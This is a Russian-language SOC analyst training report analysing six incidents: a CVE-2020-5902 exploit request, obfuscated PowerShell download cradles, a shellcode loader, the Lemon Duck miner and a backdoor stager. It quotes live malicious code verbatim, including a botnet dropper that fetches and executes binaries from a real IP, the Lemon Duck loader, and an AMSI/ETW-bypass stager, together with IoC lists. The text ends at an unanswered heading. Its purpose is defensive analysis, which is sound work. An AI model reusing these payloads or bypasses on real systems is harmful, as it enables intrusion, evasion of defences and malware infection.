# INT-1 - Макаров Дмитрий Владиславович. Мониторинг ИБ. Работа специалиста SOC [toc] ## Task 1 **Дан следующий HTTP-запрос:** ``` GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=wget+http%253A%252F%252F136.144.41.3%252Bigipdmcdmsklcmk%252ohsitsvegawellrip.sh+%253B+chmod+777+ohsitsvegawellrip.sh+%253B+sh+ohsitsvegawellrip.sh+%253B+wget+https%253A%252F%252Fhttps:%252%252iplogger.org%2522FGVP5 HTTP/1.1 Host: 10.27.243.60 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.25.1 ``` **Краткое описание запроса:** 1. Имеется HTTP-запрос с методом `GET`; 2. Запрос отправляется к `tmui`. Traffic Management User Interface (TMUI) - это веб-интерфейс. 3. Версия `HTTP/1.1`; 4. Далее следуют заголовки: - `Host` - IP, которому отпраляется запрос; - `Connection: keep-alive` - позволяет отправителю подсказать о том, как соединение может быть использовано повторно для нескольких запросов; - `Accept-Encoding: gzip, deflate` - HTTP-заголовок запроса указывает кодировку содержимого (обычно алгоритм сжатия), которую может понять клиент. В данном случае ипользуются `gzip` - формат сжатия, использующий кодировку Lempel-Ziv (LZ77) с 32-битным CRC и `deflate` - формат сжатия, который использует структуру zlib с алгоритмом сжатия deflate; - `Accept: */*` - обозначает любой MIME-тип; - `User-Agent: python-requests/2.25.1` - это строка с характеристиками, по которым сервера и сетевые узлы могут определить тип приложения, операционную систему, производителя и/или версию пользовательского агента. В данном случае это означает запрос от `python-requests/2.25.1`. ### 1. Что происходит? Видим, что URL необходимо раскодировать. Находим в интеренете URL декодер --- ![](https://i.imgur.com/7ieS99W.png) --- **URL** стал более читаем. Первым делом обратим внимание на то, к кому отправляется запрос. **TMUI** известен тем, что в нём существует узявимость [**CVE-2020-5902**](https://www.ptsecurity.com/ru-ru/research/threatscape/pt-2020-04/). Она позволяет неавторизованному злоумышленнику, действующему удаленно, выполнить вредоносный код в системе, получить доступ к конфиденциальной информации или перехватить трафик, а также осуществить атаки с сервера, где расположен **TMUI**, на другие ресурсы внутренней сети атакуемой компании. Подробную информацию по тестированию можно найти на [Хакере](https://xakep.ru/2020/08/12/f5-big-ip-rce/). :::info :information_source: Интересный факт - **первым**, кто обнаружил уязвимость был **Михаил Ключников** из **Positive Technologies**. ::: Также можно заметить файл `login.jsp` с раcширением `.jsp`. JSP (JavaServer Pages) — технология, позволяющая веб-разработчикам создавать содержимое, которое имеет как статические, так и динамические компоненты. Сначала отправляется запрос на открытие `login.jsp` файла, но затем идёт подмена на `tmshCmd.jsp`. Через уязвимость в `jsp` приложении, по сути выполняется **bash** команда. Вероятнее всего проиходит атака. ### 2. Признаки того, что происходит атака. Пользуясь этой уязвимостью злоумышленники (вероятнее всего это злоумышленники) пытаются: 1. Загрузить скрипт с сайта `http://136.144.41.3/Bigipdmcdmsklcmk/ohsitsvegawellrip.sh` 2. Дать файлу права 777 на **RWX** всем на загруженный файл 3. Выполнить скрипт `sh+ohsitsvegawellrip.sh` 4. Залогировать обращение через `iplogger`, чтобы видеть список серверов, которые получилось взломать Код написан на **Python** с использованием библиотеки **Requests**, и с помощью запроса он пытается совершить то, что передал в **URL**. IP-адрес, с которого выполняется загрузка скрипта вызывает подозрение. Особенно вызывает подозрение, что используется **не доменное имя**, а именнно **IP**. --- ![](https://i.imgur.com/pUD8FGc.png) --- По данным, найденным на [app.any.run](https://app.any.run/tasks/ccdbfbe3-b790-4c40-8d7b-4a0f9a8399c2/) скрипт имеет подозрительную активность. Впервые он был обнаружен не позднее **4 июля 2021 года**. Скрипт имеет следующую **Mitre ATT&CK Matrix** --- ![](https://i.imgur.com/iwO7Kkf.png) --- После непродолжительных поисков был обнаружен сам скрипт `ohsitsvegawellrip.sh`, где видно множество **curl** запросов к `136.144.41.3`. Вероятно таким образом загружается **payload**. ``` HEX #!/bin/bash cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.x86; curl -O http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.x86; cat KKveTTgaAAsecNNaaaa.x86 > loudscream; chmod +x *; ./loudscream linear cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.mips; curl -O http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.mips; cat KKveTTgaAAsecNNaaaa.mips > loudscream; chmod +x *; ./loudscream linear cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.mpsl; curl -O http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.mpsl; cat KKveTTgaAAsecNNaaaa.mpsl > loudscream; chmod +x *; ./loudscream linear cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.arm; curl -O http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.arm; cat KKveTTgaAAsecNNaaaa.arm > loudscream; chmod +x *; ./loudscream linear cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.arm5; curl -O http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.arm5; cat KKveTTgaAAsecNNaaaa.arm5 > loudscream; chmod +x *; ./loudscream linear cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.arm6; curl -O http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.arm6; cat KKveTTgaAAsecNNaaaa.arm6 > loudscream; chmod +x *; ./loudscream linear cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.arm7; curl -O http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.arm7; cat KKveTTgaAAsecNNaaaa.arm7 > loudscream; chmod +x *; ./loudscream linear cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.ppc; curl -O http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.ppc; cat KKveTTgaAAsecNNaaaa.ppc > loudscream; chmod +x *; ./loudscream linear cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.m68k; curl -O http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.m68k; cat KKveTTgaAAsecNNaaaa.m68k > loudscream; chmod +x *; ./loudscream linear cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.sh4; curl -O http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.sh4; cat KKveTTgaAAsecNNaaaa.sh4 > loudscream; chmod +x *; ./loudscream linear cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.spc; curl -O http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.spc; cat KKveTTgaAAsecNNaaaa.spc > loudscream; chmod +x *; ./loudscream linear cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.arc; curl -O http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.arc; cat KKveTTgaAAsecNNaaaa.arc > loudscream; chmod +x *; ./loudscream linear cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.x86_64; curl -O http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.x86_64; cat KKveTTgaAAsecNNaaaa.x86_64 > loudscream; chmod +x *; ./loudscream linear cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.i686; curl -O http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.i686; cat KKveTTgaAAsecNNaaaa.i686 > loudscream; chmod +x *; ./loudscream linear cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.i486; curl -O http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.i486; cat KKveTTgaAAsecNNaaaa.i486 > loudscream; chmod +x *; ./loudscream linear ``` Вредоносность скрипта подтверждает анализ в **VirusTotal**. --- ![](https://i.imgur.com/3jTP9Sx.png) --- ### 3. Indicators of Compromise (IoС). 1. URL: `http://136.144.41.3/Bigipdmcdmsklcmk/ohsitsvegawellrip.sh` 2. URL: `http://213.202.230.64/ohsitsvegawellrip.sh` 3. URL: `http://73.249.41.78/ohsitsvegawellrip.sh` 4. Probable Creator: `136.144.41.3` 5. File: `ohsitsvegawellrip.sh` 6. URL: `https://iplogger.org/2FGVP5` Также выяснилось, что скрипт используется в [ботнете](https://github.com/saintly2k/katana/blob/main/build.sh) [**Katana**](https://github.com/joemamamamamaasd/joemmama/blob/dc22abec208ba3c4f6188bee33e915c775b4434f/katanastuff/payload.py). На [**Гитхабе**](https://github.com/search?p=1&q=ohsitsvegawellrip.sh&type=Code) можно посмотреть, где в целом встречается скрипт. ### 4. Каким образом можно удостовериться в том, что атака успешна. 1. Увидеть активность скрипта с помощью системы логов и событий. 2. Проанализировать трафик в **Wireshark**, увидев множество запросов и ответов по протоколу **http**. ## Task 2 Дан следующий скриншот. На нём частично изображены детали события 800 Powershell из журнала аудита. --- ![](https://i.imgur.com/KC4P5rY.png) --- Можно заметить, что был исполнен какой-то shell-скрипт. Есть подозрение, что команда, которая исполнила скрипт была обфусцирована. Обфускация или запутывание кода — приведение исходного кода или исполняемого кода программы к виду, сохраняющему её функциональность, но затрудняющему анализ, понимание алгоритмов работы и модификацию при декомпиляции. ### 1. Что подозрительного в событии? Итак, на вид явные признаки обфускации Powershell команды **Invoke-Expression**. Сама по себе обфускация вызывает подозрения. По всей видимости применён **метод перетановки** для запутывания исполнения команды. Так же бросается в глаза явное использование шестнадцатиричного кодирования в верхней части события. ``` 27 2c 27 2f 79 27 29 2c 27 6b 27 29 2c 28 22 7b 31 7d 7b 30 7d 22 20 20 2d 66 20 27 75 72 27 2c 27 69 6e 79 27 29 28 22 7b 30 7d 7b 31 7d 22 2d 66 20 27 70 64 27 2c 27 75 7a 27 29 29 29 ``` Проведём декодирование этой стоки. --- ![](https://i.imgur.com/AR3UcKI.png) --- Видим, что это была кодированная обфусцированная команда, которая изображена ниже в событии. Далее проведём деобфускацию команды. Для этого используем готовые решения из [открытых источников](https://github.com/lasq88/deobfuscate/). Получим следующую команду. `Invoke-Expression(new-object Net.WebClient).DownloadString.Invoke("https://tinyurl.com/y7ukpduz") ` - Invoke-Expression обрабатывает или выполняет заданную строку в качестве команды и возвращает результаты выражения или команды - Создаётся новый объект. Далее используется DownloadString, чтобы получить данные по URL. Большое подозрение здесь вызывает использования сервия сокращения URL tinyurl. Перейдём по URL `https://tinyurl.com/y7ukpduz`. Нас сразу же перенаправляют на `http://technoverseblog.com/invoice.txt`. --- ![](https://i.imgur.com/VEMK8hC.png) --- Содержание `invoice.txt`: `powershell.exe -NoP Write-Host "I am holding all your files hostage until you pay me FIVE BITCOINS. Contact me at slayer@XUZ.com"` PS-скрипт должен вывести сообщение на экране. В сообщении открыто требуется перевести 5 биткоинов. Подозрения оказались оправданы. На вид явное вымогательство. ### 2. С какой целью реализовано? Обфускация проводилась, чтобы затруднить понимание того, что выпоняет PowerShell-команда. Помимо обфускации был применёно шестадцатиричное кодирование, чтобы ещё больше усложнить анализ. Непосредственно скрипт должен был высвести сообщение о вымагательстве на компьютере жертвы. Для обфускации вероятнее всего была использована утилита из открытых источников [Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation). --- ![](https://i.imgur.com/DwRsdlV.png) --- ## Task 3 В файле task3.evtx содержатся события журнала аудита Windows. --- ![](https://i.imgur.com/BOxxCx8.png) --- Так как с помощью стандартной утилиты Microsoft-Windows-Sysmon не удалось найти описание для идентификатора событий, мы установили стороннюю утилиту sysmon из [github](https://github.com/ion-storm/sysmon-config) с конфигурацией ATT&CK. --- ![](https://i.imgur.com/c0bGSU4.png) --- ### 1. Что в этих событиях является подозрительным? 1. Самым подозрительным является то, что с помощью Microsoft-Windows-Sysmon не удалось составить описание. Sysmon несильно исправил эту ситуацию. 2. Все 53 события прошли за всего 39 секунд 3. Большая часть событий с `EVENT ID 18` `PipeEvent (Pipe Connected)` - означают установление соединение о именнованому каналу. --- ![](https://i.imgur.com/GNMH9Li.png) --- ![](https://i.imgur.com/5hztT0l.png) --- 4. В то же время предшествующие им события `RawAccessRead` с `EVENT ID 9` определяют, когда процесс выполняет операции чтения с диска, используя обозначение `\\.\`. Этот метод часто используется вредоносными программами для извлечения данных из файлов, которые заблокированы для чтения, а также для того, чтобы избежать инструментов аудита доступа к файлам. Событие указывает на исходный процесс и целевое устройство. --- ![](https://i.imgur.com/ku0mQym.png) --- ### 2. Какие признаки указанных событий на это указывают? 1. Один из процессов с `EVENT ID 1` `Process Create` исполняет закодированный скрипт, вероятнее всего с кодировкой Base64 --- ![](https://i.imgur.com/92PLKuN.png) --- Проверим --- ![](https://i.imgur.com/Ylm6VdB.png) --- `IEX (New-Object System.Net.WebClient).DownloadString('http://omni-consumer-pr0ducts.tk/favicon.ico');` --- Видим скрипт, который очень похож на тот, что был в первом задании. Invoke-Expression обрабатывает или выполняет заданную строку в качестве команды и возвращает результаты выражения или команды. Затем создаётся новый объект. Далее используется DownloadString, чтобы получить данные по URL. 2. В раскодированном скрипте видим крайне подозрительный URL http://omni-consumer-pr0ducts.tk/favicon.ico. Информацию о нём в открытых источниках не найти. Скорее всего он намеренно маскируется под тот, что принадлежит компании Omni Consumer Products. 3. Сразу два подозрительных события с conhost: во-первых, в одном из событий идёт обращение к `C:\Windows\Prefetch\CONHOST.EXE-1F3E9D7E.pf` - явная попытка сымитировать хост окна консоли, во-вторых, в одном из событий идёт обращение к пространству ядра с параметрами `0xffffffff -ForceV1` через консольное приложение conhost.exe. --- ![](https://i.imgur.com/eLWznIW.png) --- ![](https://i.imgur.com/97bgGoJ.png) --- 4. Создаётся шаблон в `WINWORD.EXE`. --- ![](https://i.imgur.com/xbfkhOj.png) --- 5. Создаюся PowerShell-скрипты. --- ![](https://i.imgur.com/IDhzHsq.png) --- ![](https://i.imgur.com/4GlAbvP.png) --- ### 3. IoC. 1. URL: `http://omni-consumer-pr0ducts.tk/favicon.ico` 2. PS-script: `PSScriptPolicyTest_uadnldzb.3ew.ps1` 3. PS-script: `PSScriptPolicyTest_0n3jzel4.32z.psm1` 4. File: `employee termination letter.docx` ### 4. Cуть подозрительных действий в системе, зафиксированных в этом журнале. Суть сводится к следующему. Пользователь открывает файл `employee termination letter.docx` под видом тектового документа, однако файл запускает цепочку изменений в системных файлах, а затем произодит подключение к удалённому серверу по `http://omni-consumer-pr0ducts.tk/favicon.ico`, после чего загружаются и исполняются вредоносные файлы. ## Task 4 В файле event.json приведено корреляционное событие на основе событий журнала аудита Windows. --- ![](https://i.imgur.com/qBoa5cn.png) --- ### 1. Что произошло на узле? 1. По событию сразу можно понять, что MaxPatrol 10 определил его, как атаку и то, что она прошла успешно ``` ... "category.generic": "Attack", ... "status": "success", ... ``` 2. "Атака" произошла путём выполнения вредоносного скрипта (`take_process_data.ps1"`) через PowerShell. Атака произошла на узле `larteshina.plat.form`. 3. Выполненный скрипт представлен в параметре object.process.cmdline. ``` "object.process.cmdline": "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdA...AOgBTAHQAYQByAHQAKAAkAHMAKQA7AA== ``` - nop - `NoProfile` - Не загружает профиль PowerShell; - w - `WindowStyle <Window Style>` - Задает стиль окна для сеанса. Допустимые значения: Normal, Minimized, Maximized и Hidden; - e - `EncodedCommand <Base64EncodedCommand>` - Принимает строковую версию команды в кодировке Base 64. Параметр используется для отправки в PowerShell команд, требующих сложных кавычек или фигурных скобок. Строка должна быть отформатирована с помощью кодировки символов UTF-16LE. Декодируем `Base64EncodedCommand`: --- ![](https://i.imgur.com/oEMn2gm.png) --- Приведём в читабельный вид --- ![](https://i.imgur.com/4G4fj0G.png) --- Видим, что в декодированная команда представляет из себя скрипт. Похожий скрипт представлен в [открытом источнике](https://www.huntress.com/blog/from-powershell-to-payload-an-analysis-of-weaponized-malware). ### 2. С помощью чего это удалось добиться? Что делает скрипт, который мы обнаружили: 1. Пытается любым способом запустить PowerShell ``` if([IntPtr]::Size -eq 4) { $b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe' } else { $b='powershell.exe' }; ``` 2. Инициализируется новый экземпляр класса ProcessStartInfo и задается имя файла - `powershell.exe` 3. `$s.Arguments=...` - задает набор аргументов командной строки, используемых при запуске приложения 4. `$s.UseShellExecute=$false` - задает значение, позволяющее определить, что не нужно использовать оболочку операционной системы для запуска процесса 5. `$s.RedirectStandardOutput=$true` - задаёт значение для записи текстовых выходных данных приложения в поток StandardOutput 6. `$s.WindowStyle='Hidden'` - скрипт выполняется в скрытом режиме 7. `$s.CreateNoWindow=$true` - задает значение того, что нужно запустить процесс в новом окне. Остановимся поподробнее на свойстве `$s.Arguments=...`. Видно, что аргументом скрипта является команда, однако она обфусцирована методом discatenate, а также снова закодирована методом Base64 и сжата с помощью GunZip. Провёдём полное декодирование строки. Сперва, для экономии времени, вручную деобфусцируем discatenate-метод. Затем воспользуемся CyberChef для декодирования и декомпресса строки. --- ![](https://i.imgur.com/mTxOEDv.png) --- Получаем следующий скрипт, который состоит из нескольких частей. --- ![](https://i.imgur.com/Tpa3ADL.png) --- 1. Первая функция, которую мы видим в этом коде PowerShell, называется urg. Все эти имена функций и переменных кажутся случайными и запутанными, но мы можем понять их смысл, прочитав определение функции. --- ![](https://i.imgur.com/NrFLa1e.png) --- Функция `urg` принимает два параметра. Он использует метод «рефлексивного» поиска адреса вызовов **Win32 API**, так что **PowerShell** имеет возможность запускать эти основные внутренние процедуры, известные операционным системам более низкого уровня. В текущем контексте он ищет место, где может быть загружена `System.dll`, и использует его для поиска нужного имени функции в других библиотеках **DLL**, которые он затем может выполнить. Имя **DLL**, частью которой является эта функция, и сама вызываемая функция **Win32 API** — это два значения, передаваемые в качестве параметров этой функции `urg`. Все это делается с помощью «рефлексии», способности, которая позволяет **PowerShell** выполнять некоторую самоанализ и поиск уже определенных процедур. В конечном итоге это дает **PowerShell** гораздо больше возможностей. Получение доступа для запуска функций **API Win32** позволяет ему выполнять такие действия, как выделение памяти, копирование и перемещение памяти или другие специфические вещи, которые мы увидим в коде очень скоро. :::info Для нашего собственного понимания мы должны мысленно переименовать эту функцию во что-то вроде: ``` function call_win32_api_function { Param ($function_name, $arguments) ``` ::: 2. До сих пор то, что мы знали как функцию urg, добавляло часть этой новой возможности. Если хакеры хотят использовать этот прием для вызова функций Win32 API в PowerShell, им также потребуется функциональность для работы с «делегатами». Следующая функция, svcU, завершает «шаблонный» код, необходимый для этого. --- ![](https://i.imgur.com/0bXWoJr.png) --- Как вы можете видеть, это переполнение внутренними потребностями **Windows** и ерундой, которые делают эту работу. Мы не будем делать тонну глубокого анализа этого кода, объясняя каждую строку и переменную, но теперь эта функция предоставляет функциональные возможности для интерпретации параметров функции **Win32 API** и возвращаемых значений. Поскольку наш хакер создает функциональность, позволяющую вызывать функции **Win32 API** с помощью **PowerShell**, им нужна была эта процедура `urg`, чтобы иметь возможность находить и определять местоположение функций, и эта процедура `svcU`, чтобы предоставлять параметры и понимать возвращаемые значения функции. Имея эти две функции, код теперь имеет примитивы для свободного вызова любой функции **Win32 API**, которую он пожелает. Далее мы увидим это в действии. 3. Следуя этим определениям функций, этот фрагмент кода PowerShell определяет массив байтов, извлеченный путем декодирования более закодированного кода Base64. --- ``` [Byte[]]$mkuA = [System.Convert]::FromBase64String('/EiD5PDozAAAAEF.../V') ``` --- К сожалению, декодирование этой строки дает нам много непечатаемых символов. --- ![](https://i.imgur.com/HcI9VKw.png) --- Однако, мы можем использовать shellen для дизассемблирования шелл-кода, но сначала нам нужно превратить декодированные в base64 байты в шестнадцатеричную строку. --- ![](https://i.imgur.com/xmT4rnr.png) --- Теперь, когда у нас есть шелл-код в виде шестнадцатеричной строки, мы можем вставить его в **shellen**, чтобы увидеть ассемблерный код. --- ![](https://i.imgur.com/T9n2Pm5.png) --- Примерно на полпути вниз есть несколько инструкций, которые выделяются. --- ![](https://i.imgur.com/VzyEj7l.png) --- Подобные инструкции можно обнаружить в нескольких проектах и утилитах, таких как 1. [Metasploit-framework](https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm) 2. [The Backdoor Factory](https://github.com/secretsquirrel/the-backdoor-factory/blob/master/asm/src/loadliba_reverse_tcp.asm) 3. [nbtool](https://github.com/iagox86/nbtool/blob/master/samples/shellcode-win32/hash.py) Анализ через [cuckoo.cert.ee](https://cuckoo.cert.ee/) показал, что скрипт является крайне подозрительным и детектируется [многими антивирусами](https://cuckoo.cert.ee/analysis/3473295/summary/). --- ![](https://i.imgur.com/9X64oxx.png) --- Наконец, дизассемблированный код очень похож на один из [payload для powershell](https://gist.github.com/jdferrell3/4db966da06f4fa77816a54d802aca0f8). --- ![](https://i.imgur.com/WgSBSdx.png) --- Атака оказалась успешна благодаря вышеперечисленным методам деобфускации и кодирования. Корреляционное правило сработало благодаря параметру `-w hidden`. ### 3. Если есть, то укажите адрес C&C и порт. Для того чтобы скрыться от анализа, был истользован стейджер **emp3r0r**, следовательно, с2-адреса - **нет**. Стейджер выступает как проброс портов для того чтобы был использован метерпретер. ## Task 5 В **SOC** одной компании обратился пользователь, обеспокоенный странными процессами **Powershell**, которые он обнаружил в диспетчере задач. В ходе расследования специалистам удалось получить информацию об одном из подозрительных **PS-скриптов**, выполнявшихся на его компьютере. Ниже приведён данный скрипт. ``` powershell.EXE -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient).'DownloadData'($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='http://'+'t.amy'+'nx.com';a($url+'/a.jsp?ipc_20201126?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*')) ``` Приведём собитие к читабельному виду --- ![](https://i.imgur.com/iZSzgzN.png) --- Опишем некоторые функции скрипта: 1. `Security.Cryptography.RSAParameters` - представляет стандартные параметры для алгоритма **RSA**. 2. `RSAParameters.Modulus` - представляет параметр Modulus для алгоритма **RSA**. 3. `RSAParameters.Exponent` - редставляет параметр Exponent для алгоритма **RSA**. 4. `Security.Cryptography.RSACryptoServiceProvider` - выполняет асимметричное шифрование и расшифровку с помощью реализации алгоритма **RSA**, предоставляемого поставщиком служб шифрования (**CSP**). Этот класс не наследуется. 5. `ImportParameters` - импортирует заданный **RSAParameters**. ### 1. К какому семейству принадлежит данное ВПО? Проведя поиск скрипта в открытых источниках, было выявлено, что им является криптомайнер **Lemon Duck**. Это вредоносная программа для крипто-майнинга, которая нацелена на зараженные компьютерные ресурсы для майнинга криптовалюты **Monero**. Эта вредоносная программа обладает множеством возможностей и запускает свою полезную нагрузку в основном в памяти, что делает ее незаметной на зараженных машинах. Заражение вредоносной программой без файлов происходит в основном с использованием модулей **PowerShell**. Фишинговые электронные письма с вредоносным документом, уязвимость удаленного выполнения кода **SMB** `(CVE-2017-0144)` и атаки методом перебора использовались для распространения внутри сети, в то время как вредоносный документ использовался для заражения внешних жертв. Они также используют некоторые инструменты с открытым исходным кодом, такие как **XMRig**, **Ping Castle**, **PowerSploit**, для достижения своих целей. **IoC:** - Hashes 1. `if.bin` 8c4fba3df81475d075c535deae2cd373 2. `kr.bin` c95f97fccb0bd80fa524cf2bfb0390a8 3. `m6.exe` 4094140d07826334c345f8dc392d8fe3 4. `mimi.dat` a66953b8a3eeee7d5057ddf80b8be962 - DNS request 1. `t.bb3u9.com` 2. `t.pp6r1.com` 3. `p.b69kq.com` 4. `d.u78wjdu.com` - IP connections 1. `138.68.251.24` 2. `138.68.186.90` 3. `88.214.207.96` 4. `45.63.34.251` 5. `138.68.183.180` 6. `176.58.99.231` ### 2. Перечислите имена всех файлов, которые могли быть загружены на компьютер с помощью данного скрипта. Из-за постоянной эволюции ВПО часть из представленных индикаторов может стать неактуальной, однако чаще всего ффайлы имеют следующие имена: - M6.bin - M6.bin.ori - M6G.bin - M6.bin.exe - M[0-9][A-Z].bin - mimi.dat (mimikatz) Например, файлы с такими именами были загружены в разборе на [netbytesec](https://notes.netbytesec.com/2021/06/lemon-duck-cryptominer-technical.html). --- ![](https://i.imgur.com/5wkSxsp.png) --- ## Task 6 Некий пользователь решил скачать архив с "супер крутой игрой". Внутри лежал **bat-файл**, который пользователь спокойно запустил. В файле Log.txt приведена выдержка из событий журнала аудита Windows, связанных с указанными действиями. --- ![](https://i.imgur.com/0k2vLSo.png) --- Приведём лог в читабельный вид --- ![](https://i.imgur.com/1iJN9wQ.png) --- ### 1. Что же на самом деле произошло на компьтере пользователя. 1. Пользователь vpupkin скачал архив `super-cool-game.zip`. --- ![](https://i.imgur.com/v82iKhX.png) --- 2. Пользователь запустил bat-файл `l1.bat` --- ![](https://i.imgur.com/BFm5Vlj.png) --- ![](https://i.imgur.com/LL3EHwq.png) --- 3. Вместе с этим запускается **PowerShell**. Видим, что в PS передаётся закодированная команда --- ![](https://i.imgur.com/mZRy9TO.png) --- ![](https://i.imgur.com/TUJpnaj.png) --- Команда передаётся со следующими ключами запуска: - `-nol` - NoLogo - `-nop` - NoProfile - `-ep` - ExecutionPolicy Bypass - `-sta` - 1 stream execution - `-w 1` - Window style hidden - `-enc` - Encoded by base64 Можем предположить, что команда является бэкдором. Декодируем команду: --- ![](https://i.imgur.com/OZKYw4m.png) --- Получили следующий скрипт: ``` If($PSVersiONTaBle.PSVerSIOn.MaJOr -GE 3) { $REf=[ReF].ASsembly.GeTTYPE('System.Management.Automation.Amsi'+'Utils'); $REf.GEtFieLD('amsiInitF'+'ailed','NonPublic,Static').SeTVALuE($nuLl,$TruE); [System.Diagnostics.Eventing.EventProvider]."GetFie`ld"('m_e'+'nabled','Non'+'Public,'+'Instance').SetValue([Ref].Assembly.GetType('Syste'+'m.Management.Automation.Tracing.PSE'+'twLogProvider')."GetFie`ld"('et'+'wProvider','NonPub'+'lic,S'+'tatic').GetValue($null),0); }; [SYsTeM.NEt.SERVicEPOINtMAnAGEr]::EXPEcT100ConTinUE=0; $5b316=NeW-ObJEct SYSTeM.Net.WEBCLiENT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'; $ser=$([TexT.EncodINg]::UNicODe.GeTStRINg([CoNvERt]::FromBaSe64STrIng('aAB0AHQAcAA6AC8ALwAxADcAMgAuADEANgAuADIAMgAyAC4AMQAxADoANAAzADIAMQA='))); $t='/admin/get.php';$5b316.HeADerS.ADD('User-Agent',$u);$5B316.Proxy=[SYsTEm.Net.WEBREQUeST]::DeFaulTWEbPROXy;$5B316.PROxy.CrEDenTIAlS = [SysTEM.NEt.CredEntIAlCache]::DEfAULTNETWorkCREDEntIalS; $Script:Proxy = $5b316.Proxy; $K=[SYsteM.TEXt.EncOdiNG]::ASCII.GETByteS('bk]2()mgP!0@sf3VlXa,SIG|%8on<rD#'); $R={$D,$K=$Args; $S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.COUNT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256; $H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I]; $_-bxor$S[($S[$I]+$S[$H])%256]}};$5B316.HEAdeRS.ADd("Cookie","azkGFw=ly2r9xiUrZfcSUzwyVSFZZdZowM="); $DatA=$5b316.DoWNlOaDDaTA($ser+$T);$Iv=$DAta[0..3];$DAtA=$daTa[4..$DAtA.LeNgtH]; -jOiN[CHar[]](& $R $Data ($IV+$K))|IEX ``` Судя по синтаксису, скрипт выполняет проксирование трафика. Декодируем строчку `$ser=...` --- ![](https://i.imgur.com/AAkqsXX.png) --- Получили **ip-адрес** локальной сети. `http://172.16.222.11:4321` 4. Выполненный скрипт ставил своей целью получение удалённого доступа через бэкдор --- ![](https://i.imgur.com/3Dv7uOb.png) --- 5. Время создание **bat-файла** было изменено --- ![](https://i.imgur.com/QxZGBif.png) --- ### 2.Необходимые подробности и признаки, по которым можно выявлять подобную активность 